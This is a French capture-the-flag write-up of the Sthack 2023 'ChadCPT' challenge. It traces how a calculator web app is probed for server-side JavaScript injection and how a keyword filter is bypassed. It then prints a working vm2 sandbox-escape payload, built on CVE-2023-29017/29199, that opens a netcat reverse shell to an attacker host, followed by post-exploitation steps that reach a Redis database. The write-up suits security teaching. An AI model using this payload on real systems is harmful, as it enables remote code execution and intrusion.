Hackvens
<-- home

Sthack 2023 / Chad CPT

May 12, 2023

Chad CPT

Introduction

Pour cette édition de la Sthack 2023, nous avons eu le droit à une très grande variété de challenge. Nous vous proposons ici une résolution de l’épreuve ChadCPT, un challenge de type web avec une “IA” un peu trop permissive. Voici l’énoncé :

Do you know Chad CPT ? The new SCAM “AI” which can only solve simple math (like 1+1), this “AI” is pretty stoned and does not seem to handle failure… Retrieve the value of the flag located in the database.

interface

L’application ChadCPT consiste en un formulaire à une seule entrée, ayant pour objectif de répondre à des opérations arithmétiques de type 2+2, 3*3, …

3+3

Recherche de bug

Nous cherchons dans un premier temps à réaliser un bug sur l’application dans le but d’observer des situations potentiellement non prévues. Parmi les bugs classiques pouvant intervenir lors d’opérations arithmétiques, nous retrouvons la fameuse division par zéro.

En effectuant une division par zéro telle que 3/0, l’application nous retourne une erreur Infinity.

30

Cette erreur non traitée est typique d’un programme JavaScript :

Infinity

Là où une application python (par exemple) aurait retourné une erreur de type ZeroDivisonError :

python

Du JavaScript côté serveur, nous partons donc dans l’hypothèse d’une application développée avec NodeJS. Le programme étant réceptif aux booléens (true et false), nous tentons ensuite de voir si celle-ci peut accepter les équations sous forme de conditions JavaScript. Effectivement 1==1 nous répond true, quand 1==2 résulte en l’absence de réponse (synonyme ici de false).

1==1

1==2

Nous pouvons alors proposer des égalités telles que "test".length==4 afin de valider la présence d’un moteur JavaScript côté serveur, et également garder en tête la possibilité d’utiliser des égalités pour une potentielle exploitation à l’aveugle.

length==4

Après avoir confirmé la présence de NodeJS, nous pouvons alors tenter d’exécuter les fonctions clefs du langage pouvant permettre d’élever nos privilèges. La fonction eval(<instruction>) fonctionne et parait alors idéale pour tenter d’exécuter du code JavaScript sans être gêné par l’interpréteur en attente d’un input incluant une opération arithmétique.

Découverte de l’environnement d’exécution

NodeJS est particulièrement riche par ses modules (natifs ou non), mais nous observons que leur import reste impossible, sans savoir si ce sont les modules qui sont introuvables ou l’instruction require qui est bloquée :

fs

Nous tentons également de créer un processus à part dans le but d’y injecter une commande système. Cette opération est notamment possible via l’utilisation de child_process. Nous notons cependant que l’application réalise un contrôle sécurité et va alors bloquer toute requête contenant le mot clef process avant même de l’interpréter.

process

Pour contourner ce blocage, nous pouvons alors dynamiquement diviser et concaténer le mot de la manière suivante : "pro"+"cess".

pro+cess

Le message d’erreur disparait, le contournement est alors fonctionnel.

Dans des situations dit de jail/sandbox, le programme fait en sorte de nous permettre d’exécuter les commandes natives du langage, tout en empêchant l’exécution de commandes systèmes sur l’hôte. Notre objectif est alors de gagner des informations sur cet environnement, et en trouver les failles pour en abuser.

Nous observons alors l’environnement d’exécutions. NodeJS étant un langage supportant la philosophie objet, nous tentons de lui faire afficher les propriétés de son objet courant this via Object.getOwnPropertyNames(this).

Nous récupérons alors un grand nombre de propriétés de l’objet courant, dont une propriété VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL.

Nous nous informons alors sur vm2 et apprenons qu’il s’agit d’une sandbox NodeJS :

vm2

Une première hypothèse est d’observer les mauvaises configurations/utilisations/déploiements qui pourraient mener à un échappement de la sandbox vm2. Cette hypothèse a fait œuvre de très nombreux tests, sans résultats.

Nous observons alors que deux failles ont récemment (avril 2023) été publiées :

  • CVE-2023-29017
  • CVE-2023-29199

Des preuves d’exploitation sont également disponibles, ce qui facilite l’exploitation :

vm2cve

https://gist.github.com/seongil-wi/2a44e082001b959bfe304b62121fb76d

(Le second POC s’avérant plus stable pour maintenir une connexion ouverte, la suite de cet article utilisera alors l’exploit ici noté vm2_3.9.14_exploit_2.js).

Exploitation

Dans ce POC, nous avons tout d’abord la mise en place d’un environnement vm2 minimal, puis l’exécution de l’exploit :

exploit

Nous récupérons alors la partie surlignée ci-dessus. Les modifications à appliquer sont les suivantes :

  • Remplacer touch flag par une commande qui nous intĂ©resse. Nous souhaitons obtenir un accès au système, la commande NetCat nc <IP_serveur_attaquant> <port_serveur_attaquant> -e /bin/sh sera alors sĂ©lectionnĂ©e pour un reverse-shell.
  • Couper les chaĂ®nes contenant le mot « process » pour permettre de contourner la protection en place.
  • Faire un oneliner JavaScript pour Ă©viter les problèmes liĂ©s au retour Ă  la ligne

Voici le code d’exploitation final :


Error.prepareStackTrace = (e, frames) => { var a="child_pro"+"cess"; var b="return pro"+"cess"; frames.constructor.constructor(b)().mainModule.require(a).execSync('nc <IP_serveur_distant> <port_serveur_distant> -e /bin/sh'); }; async function aa(){eval("1=1")} aa()

Nous initialisons Ă©galement un serveur NetCat en Ă©coute sur Internet via la commande nc -lvp <port>.

L’envoi du payload permet alors de récupérer un shell sur le serveur distant :

nc

Phase de post-exploitation

Nous remarquons que nous sommes connectés sur le serveur en tant que appuser, après quelques recherches dans les différents dossiers, nous relisons à tête reposée l’énoncé : il faut trouver les accès à une base de données.

Nous trouvons un premier indice dans le fichier /etc/passwd, un utilisateur redis est présent. Nous savons donc maintenant qu’une base redis est utilisée, l’exécution de la commande env, listant les variables d’environnement, nous permet de nous conforter dans cette hypothèse :


appuser@202035c4bee1:/app$ env
env
REDIS_URL=redis://redis:6379/2
HOSTNAME=202035c4bee1
YARN_VERSION=1.22.19
PWD=/app
HOME=/home/appuser
LS_COLORS=
SHLVL=1
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
NODE_VERSION=19.9.0
_=/usr/bin/env

Nous nous connectons sur le port 6379 hébergeant le service redis, la connexion fonctionne :

redis

Il ne nous reste plus qu’à y retrouver le flag …

flag

… et valider l’épreuve.